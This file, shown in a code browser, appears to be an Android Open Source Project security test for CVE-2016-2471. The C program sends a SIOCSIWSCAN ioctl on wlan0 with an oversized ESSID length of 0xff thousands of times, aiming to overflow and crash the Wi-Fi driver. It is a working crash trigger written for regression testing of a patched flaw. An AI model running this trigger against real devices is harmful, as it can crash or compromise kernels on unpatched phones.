Home | History | Annotate | Download | only in CVE-2016-2471
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #include <android/log.h>
     17 #include <dirent.h>
     18 #include <dlfcn.h>
     19 #include <errno.h>
     20 #include <fcntl.h>
     21 #include <jni.h>
     22 #include <limits.h>
     23 #include <net/if.h>
     24 #include <stdio.h>
     25 #include <stdlib.h>
     26 #include <string.h>
     27 #include <sys/ioctl.h>
     28 #include <sys/socket.h>
     29 #include <sys/stat.h>
     30 #include <sys/types.h>
     31 #include <sys/types.h>
     32 #include <unistd.h>
     33 #define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
     34 #define AID_NET_RAW 3004 /* can create raw INET sockets */
     35 #define AID_NET_ADMIN 3005
     36 #define SIOCSIWPRIV 0x8B0C
     37 #define SIOCGIWNAME 0x8B01
     38 #define SIOCGIWRANGE 0x8B0B
     39 #define SIOCSIWSCAN 0x8B18
     40 #define SIOCSIWSPY 0x8B10
     41 #define IW_ESSID_MAX_SIZE 32
     42 #define IW_MAX_FREQUENCIES 32
     43 #define SIR_MAC_MAX_SSID_LENGTH 32
     44 #define IW_SCAN_THIS_ESSID 0x0002
     45 
     46 typedef int __s32;
     47 typedef unsigned char __u8;
     48 typedef unsigned short __u16;
     49 
     50 struct iw_param {
     51   __s32 value;   /* The value of the parameter itself */
     52   __u8 fixed;    /* Hardware should not use auto select */
     53   __u8 disabled; /* Disable the feature */
     54   __u16 flags;   /* Various specifc flags (if any) */
     55 };
     56 
     57 struct iw_point {
     58   void *pointer; /* Pointer to the data  (in user space) */
     59   __u16 length;  /* number of fields or size in bytes */
     60   __u16 flags;   /* Optional params */
     61 };
     62 
     63 struct iw_quality {
     64   __u8 qual;    /* link quality (%retries, SNR,
     65                                    %missed beacons or better...) */
     66   __u8 level;   /* signal level (dBm) */
     67   __u8 noise;   /* noise level (dBm) */
     68   __u8 updated; /* Flags to know if updated */
     69 };
     70 
     71 struct iw_freq {
     72   __s32 m;    /* Mantissa */
     73   __s16 e;    /* Exponent */
     74   __u8 i;     /* List index (when in range struct) */
     75   __u8 flags; /* Flags (fixed/auto) */
     76 };
     77 
     78 union iwreq_data {
     79   /* Config - generic */
     80   char name[IFNAMSIZ];
     81   /* Name : used to verify the presence of  wireless extensions.
     82    * Name of the protocol/provider... */
     83   struct iw_point essid;    /* Extended network name */
     84   struct iw_param nwid;     /* network id (or domain - the cell) */
     85   struct iw_freq freq;      /* frequency or channel :
     86                                * 0-1000 = channel
     87                                * > 1000 = frequency in Hz */
     88   struct iw_param sens;     /* signal level threshold */
     89   struct iw_param bitrate;  /* default bit rate */
     90   struct iw_param txpower;  /* default transmit power */
     91   struct iw_param rts;      /* RTS threshold threshold */
     92   struct iw_param frag;     /* Fragmentation threshold */
     93   __u32 mode;               /* Operation mode */
     94   struct iw_param retry;    /* Retry limits & lifetime */
     95   struct iw_point encoding; /* Encoding stuff : tokens */
     96   struct iw_param power;    /* PM duration/timeout */
     97   struct iw_quality qual;   /* Quality part of statistics */
     98   struct sockaddr ap_addr;  /* Access point address */
     99   struct sockaddr addr;     /* Destination address (hw/mac) */
    100   struct iw_param param;    /* Other small parameters */
    101   struct iw_point data;     /* Other large parameters */
    102 };
    103 
    104 struct iwreq {
    105   union {
    106     char ifrn_name[IFNAMSIZ];
    107   } ifr_ifrn;
    108   union iwreq_data u;
    109 };
    110 
    111 struct iw_scan_req {
    112   __u8 scan_type;
    113   __u8 essid_len;
    114   __u8 num_channels;
    115   __u8 flags;
    116   struct sockaddr bssid;
    117   __u8 essid[IW_ESSID_MAX_SIZE];
    118   __u32 min_channel_time; /* in TU */
    119   __u32 max_channel_time; /* in TU */
    120   struct iw_freq channel_list[IW_MAX_FREQUENCIES];
    121 };
    122 
    123 int main(void) {
    124   int fd;
    125   int ret = -2;
    126   struct iwreq prIwReq;
    127   int i = 0;
    128   struct iw_scan_req *scan_req;
    129   if (getuid() != 0)
    130     return -1;
    131   gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
    132   setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
    133   setuid(2000);
    134   fd = socket(AF_INET, SOCK_STREAM, 0);
    135   if (fd == -1) {
    136     perror("[-] socket failed!\n");
    137     return -1;
    138   }
    139   strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
    140   prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
    141   scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
    142   memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
    143   scan_req->essid_len = 0xff;
    144   prIwReq.u.data.length = sizeof(struct iw_scan_req);
    145   prIwReq.u.data.pointer = scan_req;
    146 
    147   prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
    148   for (i = 0; i < 0x1000; ++i) {
    149     errno = 0;
    150     ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
    151     printf(" try %d times, %s crashed ? \n", i, strerror(errno));
    152   }
    153   return 0;
    154 }
    155